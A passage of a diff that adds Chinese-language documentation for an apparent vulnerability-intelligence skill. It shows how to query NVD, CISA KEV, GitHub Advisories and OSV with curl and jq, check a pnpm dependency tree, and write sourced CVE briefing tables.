+ 判据:`vulnerabilities` 数组为空 = 编号不存在或拼错,先复核编号再下结论;CVSS 只照抄 `baseScore`/`baseSeverity`,禁止自己换算;`lastModified` 比 `published` 晚很多 = 条目被更新过,以最新为准。
36
+
37
+ ## 3. CISA KEV(在野利用的唯一权威判据)
38
+
39
+ ```sh
40
+ curl -s 'https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json' | jq '.vulnerabilities[] | select(.cveID=="CVE-2024-1234")'
41
+ ```
42
+
43
+ 样例输出(命中):
44
+
45
+ ```json
46
+ { "cveID": "CVE-2024-1234", "vendorProject": "Example", "product": "example-lib", "vulnerabilityName": "Example RCE", "dateAdded": "2024-04-15", "knownRansomwareCampaignUse": "Unknown" }
47
+ ```
48
+
49
+ 判据:**命中 = 已知在野利用**,结论直接升级为"立即修复"级;未命中 ≠ 未利用——KEV 收录有延迟,结论写"截至查询日未列入 KEV"。`knownRansomwareCampaignUse: Known` = 勒索软件正在利用,优先级再提前。
50
+
51
+ ## 4. GHSA(生态内修复建议与受影响版本)
52
+
53
+ ```sh
54
+ curl -s 'https://api.github.com/advisories/GHSA-xxxx-yyyy-zzzz' | jq '{ghsa_id, severity, cvss, summary, vulnerabilities, references}'
55
+ # 认证查询(可选,提升速率限制):gh api graphql -f query='{ securityAdvisory(ghsaId:"GHSA-xxxx-yyyy-zzzz") { severity summary vulnerabilities { firstPatchedVersion { identifier } } } }'
56
+ ```
57
+
58
+ 样例输出(以实际输出为准):`{ "ghsa_id": "GHSA-xxxx-yyyy-zzzz", "severity": "high", "vulnerabilities": [ { "package": { "name": "example-lib", "ecosystem": "npm" }, "first_patched_version": "2.3.1" } ] }`
59
+ 判据:GHSA 的 `severity` 与 NVD 不一致时**两边都记录**(来源与评分者不同),不互相覆盖;`first_patched_version` 是修复建议的直接依据——没有就写"暂无修复版本",不得声称"升级即可修复"。
60
+
61
+ ## 5. OSV(跨生态精确包版本范围)
62
+
63
+ ```sh
64
+ curl -s -X POST 'https://api.osv.dev/v1/query' -H 'Content-Type: application/json' -d '{"package":{"name":"example-lib","ecosystem":"npm"}}' | jq '.vulns[] | {id, aliases, summary, affected}'
65
+ ```
66
+
67
+ 样例输出:`{ "id": "GHSA-xxxx-yyyy-zzzz", "aliases": ["CVE-2024-1234"], "summary": "...", "affected": [ { "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.3.1" } ] } ] } ] }`
68
+ 判据:OSV 的价值是**精确到版本的受影响范围**(`introduced`/`fixed` 事件);`aliases` 用于跨源对号(同一条目在 NVD 叫 CVE、在 GitHub 叫 GHSA)。OSV 未收录 ≠ 无漏洞,只说明该源没有数据。
69
+
70
+ ## 6. 落地判定:与当前项目的依赖树对照
71
+
72
+ ```sh
73
+ pnpm why example-lib
74
+ grep -n '"example-lib' pnpm-lock.yaml
75
+ ```
76
+
77
+ 样例输出:`dependencies: prod-dep 1.0.0 → example-lib 2.2.9`;锁文件命中行带版本号。
78
+ 判据:包不在依赖树 = 结论写"不适用(本仓库不依赖该包)",附 `pnpm why` 无输出为证;在依赖树且版本落在受影响范围 = 发现,转 `dependency-audit` 走完整修复流程;版本高于 `fixed` = 已修复,附版本行作证。拿不到依赖树证据的"可能影响"一律写进"观察"。
79
+
80
+ ## 7. 简报模板与自检
81
+
82
+ 每条结论 = 编号 + severity(注明来源)+ KEV 命中与否(注明查询日)+ 本项目适用性(附命令输出)+ 修复建议(附 patched 版本)。多编号任务输出表格:编号/严重性/在野利用/本项目影响/修复。四源对照表、jq 速查与离线路径见 `references/advisory-sources.md`。
83
+ 自检命令(预期输出:无匹配;有匹配 = 简报里有没标来源的严重性判断):
84
+
85
+ ```sh
86
+ grep -nE '^-[[:space:]]*(high|critical|严重|高危)' 简报.md
87
+ ```
88
+
89
+ ## 与其他技能的分工
90
+
91
+ - `dependency-audit`:判定"影响本项目"之后的修复与全量依赖审计归它。
92
+ - `security-audit`:审计中发现具体 CVE 时,用本技能查详情后回填审计报告。
93
+ - `threat-model`:设计阶段引用组件时查其历史漏洞,作为攻击路径证据。
@@ -0,0 +1,45 @@
1
+ # 情报源对照与速查(vuln-intel/references/advisory-sources.md)
2
+
3
+ 主文件第 1–7 节的完整对照表与离线路径。
4
+
5
+ ## 四源对照
6
+
7
+ | 源 | 内容 | 强项 | 局限 | 无认证速率限制 |
8
+ |---|---|---|---|---|
9
+ | NVD `services.nvd.nist.gov` | CVE 描述、CVSS、参考链接 | 编号权威、有 CVSS | 收录滞后、CVSS 是通用评分不看具体项目 | ~5 次/30 秒 |
10
+ | CISA KEV | 已知在野利用清单 | 在野利用的官方判据 | 只收被利用的、有延迟 | 无(静态 JSON) |
11
+ | GitHub Advisories (GHSA) | 生态内公告、修复版本、受影响包 | 修复建议最直接 | 以 GitHub 生态为主 | 60 次/小时 |
12
+ | OSV `api.osv.dev` | 跨生态精确版本范围 | `introduced`/`fixed` 精确到版本 | 无独立描述,聚合各源 | 无硬限制(请节制) |
13
+
14
+ ## 常用 jq 过滤速查
15
+
16
+ ```sh
17
+ # NVD:只看 CVSS 3.1 分数
18
+ jq '.vulnerabilities[0].cve.metrics.cvssMetricV31[0].cvssData.baseScore'
19
+ # KEV:给定日期之后新增的条目
20
+ jq '[.vulnerabilities[] | select(.dateAdded >= "2024-01-01")] | length'
21
+ # OSV:列出所有别名(跨源对号)
22
+ jq '.vulns[] | {id, aliases}'
23
+ # OSV:只看 npm 生态
24
+ curl -s -X POST 'https://api.osv.dev/v1/query' -H 'Content-Type: application/json' -d '{"package":{"name":"example-lib","ecosystem":"npm"}}' | jq '[.vulns[] | select(.affected[].package.ecosystem=="npm")]'
25
+ ```
26
+
27
+ 判据:jq 过滤只是视图选择,**不改变数据**;任何被过滤掉的字段不得出现在结论里(如过滤掉 description 后声称"该源无描述")。
28
+
29
+ ## EPSS(可选参考,不参与定级)
30
+
31
+ EPSS(`api.first.org/data/v1/epss?cve=CVE-2024-1234`)是"未来 30 天内被利用的概率"模型分。只作为排优先级参考,**不改变 severity、不替代 KEV**——模型分不是事实。
32
+
33
+ ## 离线路径
34
+
35
+ - NVD:下载官方 feeds(`https://nvd.nist.gov/vuln/data-feeds`,gzip JSON)本地 grep;报告注明 feed 日期。
36
+ - KEV:下载同一 JSON 到本地缓存(`curl -o kev.json <URL>`)再 `jq` 查。
37
+ - OSV:`osv-scanner` 支持 `--offline`(配合本地 OSV 数据),见 `dependency-audit` 第 6 节。
38
+ - 全部离线时:结论必须写明"数据截至 <feed 日期>,未实时核对"。
39
+
40
+ ## 简报表格模板
41
+
42
+ | 编号 | 严重性(来源) | KEV(查询日) | 本项目影响(命令证据) | 修复建议 |
43
+ |---|---|---|---|---|
44
+ | CVE-2024-1234 | HIGH(NVD) | 未列入(2026-08-14) | 不适用:`pnpm why` 无输出 | — |
45
+ | GHSA-xxxx-yyyy-zzzz | high(GHSA) | — | 影响:example-lib 2.2.9 < 2.3.1 | 升级到 2.3.1 |